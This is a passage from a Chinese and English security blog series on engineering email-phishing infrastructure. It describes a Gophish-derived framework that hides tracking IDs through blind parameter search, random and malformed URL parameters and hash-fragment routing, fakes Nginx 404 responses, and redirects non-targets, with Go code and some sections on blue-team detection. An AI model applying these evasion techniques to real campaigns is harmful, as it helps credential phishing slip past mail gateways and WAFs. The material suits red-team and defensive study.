&lt;p&gt;Gophish 在 &lt;code&gt;controllers/route.go&lt;/code&gt; 里注册了一批固定钓鱼路由：&lt;code&gt;/&lt;/code&gt;（Landing）、&lt;code&gt;/track&lt;/code&gt;（打开追踪）、&lt;code&gt;/report&lt;/code&gt;（凭证提交）、&lt;code&gt;/robots.txt&lt;/code&gt;、&lt;code&gt;/{path}&lt;/code&gt;、&lt;code&gt;/static/{filename}&lt;/code&gt;。这些路径是&lt;strong&gt;预先注册、不可变&lt;/strong&gt;的。蓝队或 WAF 拦掉 &lt;code&gt;/track&lt;/code&gt;、&lt;code&gt;/report&lt;/code&gt; 这几条固定路径，数据回传就断了，几条规则的事情。&lt;/p&gt;
&lt;h4&gt;3.2 把整个路径空间交给盲搜&lt;/h4&gt;
&lt;p&gt;taigong 的做法是把几乎所有路径都收进盲搜逻辑，除了少数静态资源（&lt;code&gt;/static/&lt;/code&gt;）、追踪像素（&lt;code&gt;pixel.png&lt;/code&gt;）、&lt;code&gt;robots.txt&lt;/code&gt;、&lt;code&gt;/report&lt;/code&gt;、&lt;code&gt;/download&lt;/code&gt; 这类必要端点单独注册，其余统一进 phishHandler。&lt;/p&gt;
&lt;p&gt;于是 URL 结构的空间一下子撑开了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;兼容格式&lt;/strong&gt;：&lt;code&gt;/?id=XyZ123A&lt;/code&gt;（向后兼容 Gophish）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;token 路径&lt;/strong&gt;：&lt;code&gt;/salary/detail?token=XyZ123A&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OAuth 风格&lt;/strong&gt;：&lt;code&gt;/auth/callback?code=XyZ123A&amp;#x26;state=abc&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RESTful&lt;/strong&gt;：&lt;code&gt;/api/v1/notice/XyZ123A&lt;/code&gt;（RID 嵌进路径）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hash 路由&lt;/strong&gt;：&lt;code&gt;/#/verify/XyZ123A&lt;/code&gt;（SPA，参数在 fragment）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最后一种对邮件网关的 URL 提取特别有效，大多数 URL 解析器不提取 fragment，而 React/Vue 这类 SPA 在客户端会正常解析 fragment 里的 RID。&lt;/p&gt;
&lt;h4&gt;3.3 畸形参数&lt;/h4&gt;
&lt;p&gt;SANS ISC 的 Xavier Mertens 在 2026 年 2 月的 diary（《Broken Phishing URLs》）里记录过一个正在被大规模使用的参数逃避技术：&lt;strong&gt;故意构造不符合 HTTP 规范的畸形参数&lt;/strong&gt;，比如：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;https://phish-domain.com/?dC=handler@domain&amp;#x26;*(Df
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;&amp;#x26;*(Df&lt;/code&gt; 按 HTTP 标准是无效参数名，但所有主流浏览器静默忽略它，页面照常加载。WAF、正则检测引擎、IOC 提取管道解析不出 &lt;code&gt;*(Df&lt;/code&gt; 这个 key=value，会把整条 URL 标&quot;异常&quot;然后跳过，这正是攻击者要的。&lt;/p&gt;
&lt;p&gt;这招本质上是利用&quot;浏览器容错 vs 检测引擎严格&quot;的不对称。浏览器什么都忍，安全工具什么都拒，中间地带全是文章。taigong 的 &lt;code&gt;r.ParseForm()&lt;/code&gt; 也会忽略非法参数（Go 标准库行为），所以畸形参数可以当&quot;诱饵参数&quot;，检测工具盯着这些无效参数，反而忽略了藏在合法参数里的真 RID。&lt;/p&gt;
&lt;h4&gt;3.4 业务参数噪声&lt;/h4&gt;
&lt;p&gt;更进一步，往 URL 里塞一堆合法业务参数，稀释 RID 的统计学特征：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;https://phish-domain.com/report/download
    ?lang=zh-CN
    &amp;#x26;tz=Asia%2FShanghai
    &amp;#x26;device=mobile
    &amp;#x26;version=2.4.1
    &amp;#x26;_t=1749283200000
    &amp;#x26;sid=ZqW8kPm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这条 URL 里真正被解析的只有 &lt;code&gt;sid=ZqW8kPm&lt;/code&gt;，其余全是合法业务里高频出现的参数名和值。蓝队做参数熵分析时，单个高熵值（&lt;code&gt;ZqW8kPm&lt;/code&gt; 约 6.0 比特/字符）被一堆低熵值（&lt;code&gt;zh-CN&lt;/code&gt;、&lt;code&gt;Asia/Shanghai&lt;/code&gt;、&lt;code&gt;mobile&lt;/code&gt; ）稀释，整体统计特征向合法流量靠拢。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x04 Nginx 404 伪装的细节&lt;/h3&gt;
&lt;h4&gt;4.1 为什么是 Nginx 404&lt;/h4&gt;
&lt;p&gt;自动化扫描工具探测可疑 URL（直接访问根、访问不存在路径、提交无效参数）时，HTTP 响应是暴露身份的关键窗口。&lt;/p&gt;
&lt;p&gt;Nginx 在全球 Web 服务器市场长期占三分之一上下（Netcraft Web Server Survey 历年数据），返回一个 Nginx 404 的钓鱼服务器，和大多数合法网站表现一致，不触发特征检测。Gophish 默认的 404 同时暴露两个特征：响应体里的 Gophish 页面结构，以及 &lt;code&gt;Server: Gophish&lt;/code&gt; 响应头。&lt;/p&gt;
&lt;h4&gt;4.2 taigong 的真实实现&lt;/h4&gt;
&lt;p&gt;taigong 里返回伪装 404 的函数是 &lt;code&gt;controllers/phish.go&lt;/code&gt; 里的 &lt;code&gt;renderUnknownResponse&lt;/code&gt;，全文就这么几行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;func (ps *PhishingServer) renderUnknownResponse(w http.ResponseWriter, r *http.Request) {
    if redirectURL := ps.currentPhishConfig().UnknownRedirectURL; redirectURL != &quot;&quot; {
        http.Redirect(w, r, redirectURL, http.StatusFound)
        return
    }
    w.WriteHeader(http.StatusNotFound)
    fmt.Fprint(w, `&amp;#x3C;html&gt;
&amp;#x3C;head&gt;&amp;#x3C;title&gt;404 Not Found&amp;#x3C;/title&gt;&amp;#x3C;/head&gt;
&amp;#x3C;body bgcolor=&quot;white&quot;&gt;
&amp;#x3C;center&gt;&amp;#x3C;h1&gt;404 Not Found&amp;#x3C;/h1&gt;&amp;#x3C;/center&gt;
&amp;#x3C;hr&gt;&amp;#x3C;center&gt;nginx&amp;#x3C;/center&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;`)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;几个要点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;它先看 &lt;code&gt;UnknownRedirectURL&lt;/code&gt;，配了就 302 跳走，没配才返回 404 体。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模板就是标准 Nginx 404，连 &lt;code&gt;&amp;#x3C;body bgcolor=&quot;white&quot;&gt;&lt;/code&gt; 这个老属性都原样保留，别&quot;优化&quot;掉它，任何改动都可能成为指纹。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;#x3C;center&gt;&lt;/code&gt; 标签、全小写 &lt;code&gt;nginx&lt;/code&gt;，都是 Nginx 从 0.x 时代沿用至今的特征；Apache 返回 &lt;code&gt;Apache&lt;/code&gt;，IIS 返回 &lt;code&gt;Microsoft-IIS/10.0&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不过呢当前这个实现&lt;strong&gt;只复制了响应体&lt;/strong&gt;，并没有显式设置 &lt;code&gt;Server: nginx&lt;/code&gt; 或 &lt;code&gt;Content-Type: text/html&lt;/code&gt; 这些响应头。Go 的 &lt;code&gt;net/http&lt;/code&gt; 会通过内容嗅探自动判 &lt;code&gt;Content-Type&lt;/code&gt;，所以体没问题；但 &lt;code&gt;Server&lt;/code&gt; 头是空的，一个真正较真的检测如果比对响应头集合，这里是个可以再补强的点。&lt;/p&gt;
&lt;p&gt;还有个 WAF 检测的小门道要知道：有些规则会比对 404 响应体大小是否和 Nginx 标准 404 完全一致。多一个空格、少一个换行都可能触发&quot;近似匹配&quot;。所以这个模板的字节数要保持和真 Nginx 一致，别手贱加注释或缩进。&lt;/p&gt;
&lt;h4&gt;4.3 Apache 与 IIS 的场景&lt;/h4&gt;
&lt;p&gt;不同目标环境可能需要不同的伪服务器模板：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Apache 404&lt;/strong&gt;：&lt;code&gt;&amp;#x3C;address&gt;Apache/2.4.41 (Ubuntu) Server at ...&amp;#x3C;/address&gt;&lt;/code&gt;、特定的 &lt;code&gt;Server&lt;/code&gt; 头格式、响应体偏大（带额外 CSS）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;IIS 404&lt;/strong&gt;：&lt;code&gt;Server: Microsoft-IIS/10.0&lt;/code&gt;、含 &lt;code&gt;.aspx&lt;/code&gt; 路径提示、特定 HTML 结构&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CDN 伪装&lt;/strong&gt;：加 &lt;code&gt;CF-Ray&lt;/code&gt;、&lt;code&gt;CF-Cache-Status&lt;/code&gt; 这类 Cloudflare 特征头&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;服务器伪装的原则不是以假乱真，没必要去做假的东西，只需要把真 Nginx 的 404 抓下来当模板，不要自己&quot;改进&quot;它。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x06 非目标访问的三种策略&lt;/h3&gt;
&lt;p&gt;taigong 的 Campaign 配置里，&lt;code&gt;NonTargetAction&lt;/code&gt; 字段控制非目标访问怎么处理，代码里就是一个 switch（&lt;code&gt;controllers/phish.go&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;switch ptx.NonTargetAction {
case &quot;404&quot;:
    http.NotFound(w, r)
    return
case &quot;redirect&quot;:
    if ptx.NonTargetURL != &quot;&quot; {
        http.Redirect(w, r, ptx.NonTargetURL, http.StatusFound)
        return
    }
    http.NotFound(w, r) // 没配 URL 就退回 404
    return
case &quot;show&quot;:
    // 继续显示正常页面
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三种策略：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;show&lt;/code&gt;&lt;/strong&gt;：对所有访问者显示原始 Landing Page，不分目标和非目标。隐蔽性最低，但 A/B 测试不同 Landing 转化率、内部培训让员工自助访问、低风险目标场景下有用。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;404&lt;/code&gt;&lt;/strong&gt;：对非目标访问返回 404。注意这里走的是 Go 标准 &lt;code&gt;http.NotFound&lt;/code&gt;（“404 page not found” 纯文本），和上面 &lt;code&gt;renderUnknownResponse&lt;/code&gt; 的 Nginx 伪装 404 是两条路径。一个用于&quot;平台不匹配&quot;（比如 Windows 访客撞上 macOS 专属 页面），一个用于&quot;没找到 RID&quot;，这两条目前是分开的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;redirect&lt;/code&gt;&lt;/strong&gt;：302 跳到合法站点（企业官网、百度首页之类）。实战里 redirect 往往比 404 更好使，看到 302 跳到正常站点，判误报的概率比看到 404 高。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这套非目标判定之外，还有一条更前置的、真正在跑的机制：Cloudflare 边缘注入 自定义加密字符串，后端校验失败就 302 跳 &lt;code&gt;https://www.baidu.com&lt;/code&gt;（见 &lt;code&gt;章节1&lt;/code&gt; 和 &lt;code&gt;章节2&lt;/code&gt;）。这是部署层的第一道非目标处置，比应用层的 &lt;code&gt;NonTargetAction&lt;/code&gt; 更早生效。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;之前提过一个&quot;梯度响应&quot;：首次扫描 302、第二次 404、第三次 TCP RST 静默丢包。查代码，三级梯度（尤其是 TCP RST 那级）目前&lt;strong&gt;没有实现&lt;/strong&gt;，多级梯度是个合理的演进方向。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3&gt;0x06：从特征匹配到行为画像&lt;/h3&gt;
&lt;p&gt;红队的技术演进倒逼蓝队往更宏观的维度走。参数免杀消灭了静态特征，但留下了统计学和基础设施层的可检维度。&lt;/p&gt;
&lt;h4&gt;6.1 参数值的统计指纹&lt;/h4&gt;
&lt;p&gt;盲搜消掉了固定参数名，但参数值本身留下统计学特征。一个 7 位随机 RID（64 字符集），信息熵：&lt;/p&gt;
&lt;p&gt;比特&lt;/p&gt;
&lt;p&gt;单位字符熵：&lt;/p&gt;
&lt;p&gt;比特字符&lt;/p&gt;
&lt;p&gt;对比正常业务参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;session_id=user123&lt;/code&gt; → 约 2.1 比特/字符&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;page=2&amp;#x26;limit=10&lt;/code&gt; → 约 1.5 比特/字符&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;token=Ab7Xk2Q&lt;/code&gt; → 约 6.0 比特/字符（接近 64 字符集理论上限）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;正确做法是条件组合：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;高熵值参数 (&gt;5.5 比特/字符)
    AND 域名注册天数 &amp;#x3C; 90
    AND 证书 = Let&apos;s Encrypt
    AND 域名首次 CT Log 出现 &amp;#x3C; 7 天前
    → 高优先级告警
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;四个条件 AND 下来误报率大降，合法网站通常不会同时满足&quot;高熵参数 + 新注册域名 + 免费证书 + 无 CT 历史&quot;。&lt;/p&gt;
&lt;h4&gt;6.2 DNS 时序&lt;/h4&gt;
&lt;p&gt;钓鱼链接被点之前的第一跳是 DNS。蓝队在内网 DNS 上做异常检测：&lt;/p&gt;
&lt;p&gt;| 信号 | 含义 |
| :-- | :-- |
| 同一域名短时间内被大量不同内网 IP 请求 | 邮件群发后的集中点击 |
| DNS 查询 TTL=1 | 常见于 Let’s Encrypt 验证配置 |
| 域名泛解析指向 CDN 边缘 | 隐藏源站 IP |
| DNS 查询集中在非工作时间 | 非正常业务模式 |&lt;/p&gt;
&lt;h4&gt;6.3 追踪像素的反向利用&lt;/h4&gt;
&lt;p&gt;Gophish 和 taigong 都用透明追踪像素（1×1 PNG）检测邮件打开。反制条件也很简单：SEG 入站时检测并剥离追踪像素；邮件客户端默认不加载远程图片（Outlook/Thunderbird）；即使参数名动态化，追踪像素的路径模式本身仍是潜在特征。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x07 攻防演进：参数免杀会停在哪&lt;/h3&gt;
&lt;p&gt;参数免杀的演进有个清楚的规律：就是说一个特征的消失，必然会带来更多的特征出现，红蓝对抗永无止境。可以把它粗略归纳成几代：&lt;/p&gt;
&lt;p&gt;| 代际 | 红队 | 蓝队 |
| :-- | :-- | :-- |
| 早期 | 固定参数名 &lt;code&gt;?id=&lt;/code&gt; | 正则匹配 &lt;code&gt;id&lt;/code&gt; 参数 |
| 盲搜 | 盲搜 RID、随机参数名 | 参数值信息熵分析 |
| 路径 | RESTful 路径嵌入 RID | 路径结构 + 域名生命周期组合 |
| SPA | Hash 路由（fragment 里藏 RID） | 流量时序 + DNS 异常 |
| 噪声 | 畸形参数 + 业务噪声注入 | 多维关联（CA+ASN+注册商+行为） |
| 当前 | Aged Domain + AI 生成 URL | 行为基线与基础设施关联异常 |
| 趋势 | WebSocket/SSE 实时推送 | 协议层行为基线偏离 |&lt;/p&gt;
&lt;p&gt;当前态势在&quot;噪声&quot;到&quot;当前&quot;之间。传统 WAF 签名在盲搜 RID 面前已经失效，未来要更关注&lt;strong&gt;基础设施和流量元数据之间的关联异常&lt;/strong&gt;，而不是依靠单一的模板指纹进行规则命中。&lt;/p&gt;
&lt;h4&gt;6.4 AI 生成 URL 的那一面&lt;/h4&gt;
&lt;p&gt;Unit 42 演示过 LLM 运行时组装攻击：客户端实时调 LLM API，在受害者浏览器里生成恶意 JS，每次语法不同、功能相同，不留静态载荷。把这思路迁到 URL 上，就是让 LLM 生成符合目标企业内部命名规范的 URL 路径和参数名，每个组成部分都按目标风格定制后，基于特征的检测基本失效。&lt;/p&gt;
&lt;p&gt;但这路线有它自己的破绽：LLM 生成的 URL 太&quot;完美&quot;了。真实业务里全是随机和不规范，拼写错误、不一致命名、版本号遗漏。一个被 LLM 优化得过于工整的 URL，反而可能因为&quot;太干净&quot;被异常检测标出来。这正是 GREASE 精神（RFC 8701）在反检测领域的回声：你得故意留点看似 bug 的特征，才能融进环境。&lt;/p&gt;
&lt;h4&gt;6.5 结尾&lt;/h4&gt;
&lt;p&gt;参数级检测全面失效后，焦点往两个方向迁。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;基础设施聚类。&lt;/strong&gt; URL 怎么伪装，钓鱼服务器的底层基础设施（ASN、托管商、IP 段、证书签发模式、DNS 配置）会形成稳定的聚类特征。不同 campaign 共享的基础设施特征，参数伪装盖不住。这是最值得的检测维度，可以参考现在的PhaaS&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;行为基线。&lt;/strong&gt; 一个被攻击者管理的域名，行为一定偏离它的历史基线。哪怕域名年龄 10 年，它的 DNS 解析模式、证书更新模式、页面响应模式也一定在某维度上偏离原始用途。&lt;/p&gt;
&lt;p&gt;借用德勒兹的一句话：To become is to deterritorialize。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;系列导航&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-1-gophish-ceiling&quot;&gt;Part 1：GoPhish 的天花板&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-2-opsec-infra&quot;&gt;Part 2：不可溯源的基础设施&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-3-bayes-nlp&quot;&gt;Part 3：贝叶斯与 NLP 内容对抗&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-4-rid-polymorphism&quot;&gt;Part 4：参数多态与响应伪装&lt;/a&gt; ← 本文&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-5-qr-delivery&quot;&gt;Part 5：无链接投递与 QR 码&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-6-bec-polymorphism&quot;&gt;Part 6：BEC 3.0 与跨渠道编排&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Email Phishing Eng. · 4: Param Polymorphism</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-4-rid-polymorphism-en</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-4-rid-polymorphism-en</guid><description>From fixed Gophish RID fingerprints to blind RID search, wildcards, and 404 camouflage.</description><pubDate>Wed, 15 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;~4,100 Chinese characters in the original; about 21 minutes to read&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;This is Part 4 of the &lt;em&gt;Email Phishing Engineering&lt;/em&gt; series. This post answers “what is being accessed”: the URL parameter structure itself is the most visible fingerprint. Gophish’s decade-unchanged &lt;code&gt;?id=Ab7Xk2Q&lt;/code&gt; is a perfect regex signature for WAFs. This article walks from RID code details to the engineering of blind-search algorithms and the fine points of 404 camouflage.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;Author: 可惜夜 (Kexi Ye)&lt;/p&gt;
&lt;p&gt;First published on WeChat: Yofune Security Research&lt;/p&gt;
&lt;h3&gt;0x01 The Parameter Name &lt;em&gt;Is&lt;/em&gt; the Fingerprint&lt;/h3&gt;
&lt;p&gt;Gophish tracking URLs struggle to survive a full attack–defense cycle under today’s conditions.&lt;/p&gt;
&lt;p&gt;One obvious reason: &lt;strong&gt;the URL parameter structure itself is a fingerprint&lt;/strong&gt;. Gophish’s ten-year &lt;code&gt;?id=Ab7Xk2Q&lt;/code&gt; pattern can be blocked with near-zero false positives by a single rule in ModSecurity Core Rule Set, FortiWeb, AWS WAF, or Cloudflare WAF:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;SecRule ARGS:id &quot;^[a-zA-Z0-9_-]{7}$&quot; &quot;id:100001,deny&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What makes this rule lethal is not that it is a “known attack signature,” but that it naturally excludes legitimate business traffic. No normal site puts an exactly 7-character random string in an &lt;code&gt;id&lt;/code&gt; parameter. Gophish RIDs use a 64-character alphabet (&lt;code&gt;[a-zA-Z0-9_-]&lt;/code&gt;), length 7—from a detection viewpoint, a perfect static feature.&lt;/p&gt;
&lt;p&gt;Firewall and WAF rules matching “short random-string parameters” are ready-made playbooks for defenders. Any enterprise gateway with default protection can block Gophish-default phishing links with essentially no extra configuration.&lt;/p&gt;
&lt;p&gt;Gophish architecture also binds the phishing landing page and the management backend to the same HTTP server—almost unacceptable OpSec. Hitting the root route &lt;code&gt;/&lt;/code&gt; without a configured landing page exposes the Gophish admin login. Domestic scanning platforms (FOFA, ZoomEye, Hunter / Yingtu) have long ingested Gophish admin HTML structure, the &lt;code&gt;X-Gophish-Contact&lt;/code&gt; response header, and the fixed favicon hash into rule libraries.&lt;/p&gt;
&lt;p&gt;These three defects—fixed parameter name, exposed admin UI, and no OpSec-oriented design—were among the reasons to rebuild on top of (and beyond) Gophish.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x02 Blind RID Search: Kill the Parameter-Name Convention&lt;/h3&gt;
&lt;p&gt;The core idea is direct: &lt;strong&gt;abolish any fixed parameter-name contract&lt;/strong&gt;. Sender and receiver pre-agree on no parameter name; the receiver “blind-searches” the RID by enumeration plus validation.&lt;/p&gt;
&lt;h4&gt;2.1 Algorithm&lt;/h4&gt;
&lt;p&gt;This is the real logic of &lt;code&gt;extractRIDFromRequest&lt;/code&gt; in taigong’s &lt;code&gt;controllers/phish.go&lt;/code&gt; (simplified):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;HTTP request arrives
    │
    ▼
First try the standard parameter name (RecipientParameter): take value → strip TransparencySuffix (+)
    │   └─ ridExistsInStorage(id)? exists → claim it, done
    ▼
Else: iterate all query keys (sorted by key for determinism)
    ├── for each value: normalizeRID → isRIDCandidate(regex)
    │       no match → skip
    │       match → dedupe (seen map) → ridExistsInStorage(id)
    │              exists → add to candidate set
    │
    ▼
Candidate set decision:
    ├── exactly 1 → claim as this request&apos;s RID
    ├── &gt; 1      → ambiguous; reject outright (log warn, return camouflaged 404)
    └── 0         → fall back to POST body; still none → treat as probe, return camouflaged 404
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key change: RID recognition shifts from “lookup by parameter name” to “lookup by parameter value + existence check in storage.” Parameter names can be generated arbitrarily—even differently per target.&lt;/p&gt;
&lt;p&gt;Blue teams can no longer block with &lt;code&gt;SecRule ARGS:id&lt;/code&gt;, because the parameter name is an unpredictable dynamic. Detection would require enumerating all parameter names and running entropy analysis on every value—performance most mail security gateways cannot afford.&lt;/p&gt;
&lt;h4&gt;2.2 Routing Layer&lt;/h4&gt;
&lt;p&gt;Gophish registers fixed routes in &lt;code&gt;route.go&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;r.HandleFunc(&quot;/landing&quot;, landingHandler) // fixed route + fixed parameter name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;taigong uses wildcard routing: path matching and parameter parsing are fully decoupled. All non-static paths share one handler; the RID is blind-extracted inside the handler. That lets red teams craft fully legitimate-looking business URLs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;https://phish-domain.com/salary/detail?token=XyZ123A&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;https://phish-domain.com/auth/callback?code=XyZ123A&amp;#x26;state=abc&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;https://phish-domain.com/notice?session_id=XyZ123A&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Parameter names are randomly chosen at send time from a lexicon: &lt;code&gt;token&lt;/code&gt;, &lt;code&gt;sid&lt;/code&gt;, &lt;code&gt;auth_state&lt;/code&gt;, &lt;code&gt;session_key&lt;/code&gt;, &lt;code&gt;code&lt;/code&gt;, &lt;code&gt;ticket&lt;/code&gt;, &lt;code&gt;nonce&lt;/code&gt;, &lt;code&gt;sign&lt;/code&gt;. The lexicon is extensible and can match a target company’s internal naming habits—e.g. &lt;code&gt;ticket&lt;/code&gt; for Alibaba Cloud–style stacks, &lt;code&gt;session_state&lt;/code&gt; for Microsoft-style stacks.&lt;/p&gt;
&lt;h4&gt;2.3 Engineering Boundaries&lt;/h4&gt;
&lt;p&gt;Blind search has several boundaries that must be handled. Examples from the implementation:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ambiguity means reject.&lt;/strong&gt; If multiple parameter values pass the regex &lt;em&gt;and&lt;/em&gt; exist in the store, &lt;code&gt;extractRIDFromRequest&lt;/code&gt; does not guess—it logs something like &lt;code&gt;RID parse ambiguity: multiple candidates hit; request rejected&lt;/code&gt; and returns 404. That is a more robust anti-injection stance than “truncate to the first N parameters”: an attacker dumping many candidate RIDs to collide the store gets uniform rejection. Enumeration cost is also bounded by this reject path.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Database indexes are a hard requirement.&lt;/strong&gt; The &lt;code&gt;r_id&lt;/code&gt; column must have a UNIQUE INDEX. In SQLite, &lt;code&gt;WHERE r_id = ?&lt;/code&gt; without an index degrades to full table scan—hundreds of milliseconds per blind search at million-scale result rows; with an index it is O(log n), microseconds. That is the production-readiness watershed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Regex + store dual validation.&lt;/strong&gt; &lt;code&gt;isRIDCandidate&lt;/code&gt; constrains charset and length, but an ordinary form value that happens to be 7 characters (e.g. half a password) will occur statistically—so store existence is the post-regex backstop: regex pass but not in the store still does not count as a RID.&lt;/p&gt;
&lt;p&gt;Blind search removes the parameter-name feature but opens a new gap: &lt;strong&gt;parameter-value brute force&lt;/strong&gt;. Craft many requests with candidate RIDs; each triggers a store lookup. UNIQUE INDEX prevents melting the DB, but bulk enumeration itself is a traffic anomaly. Countering that relies on the IP / rate / UA scoring stack from the previous article—not on the blind-search algorithm alone.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x03 Parameter Polymorphism and Path Camouflage&lt;/h3&gt;
&lt;h4&gt;3.1 Gophish’s Fixed-Path Legacy&lt;/h4&gt;
&lt;p&gt;In &lt;code&gt;controllers/route.go&lt;/code&gt;, Gophish registers a batch of fixed phishing routes: &lt;code&gt;/&lt;/code&gt; (Landing), &lt;code&gt;/track&lt;/code&gt; (open tracking), &lt;code&gt;/report&lt;/code&gt; (credential submit), &lt;code&gt;/robots.txt&lt;/code&gt;, &lt;code&gt;/{path}&lt;/code&gt;, &lt;code&gt;/static/{filename}&lt;/code&gt;. These paths are &lt;strong&gt;pre-registered and immutable&lt;/strong&gt;. Blue team or WAF blocks on &lt;code&gt;/track&lt;/code&gt; and &lt;code&gt;/report&lt;/code&gt; alone can cut data callback—a handful of rules.&lt;/p&gt;
&lt;h4&gt;3.2 Hand Almost the Entire Path Space to Blind Search&lt;/h4&gt;
&lt;p&gt;taigong folds nearly all paths into the blind-search logic. Aside from a few static assets (&lt;code&gt;/static/&lt;/code&gt;), the tracking pixel (&lt;code&gt;pixel.png&lt;/code&gt;), &lt;code&gt;robots.txt&lt;/code&gt;, &lt;code&gt;/report&lt;/code&gt;, &lt;code&gt;/download&lt;/code&gt;, and similar necessary endpoints registered separately, everything else goes through &lt;code&gt;phishHandler&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;URL structure space opens up immediately:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Compatible form&lt;/strong&gt;: &lt;code&gt;/?id=XyZ123A&lt;/code&gt; (backward compatible with Gophish)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Token path&lt;/strong&gt;: &lt;code&gt;/salary/detail?token=XyZ123A&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OAuth style&lt;/strong&gt;: &lt;code&gt;/auth/callback?code=XyZ123A&amp;#x26;state=abc&lt;/code&gt;&lt;/p&gt;
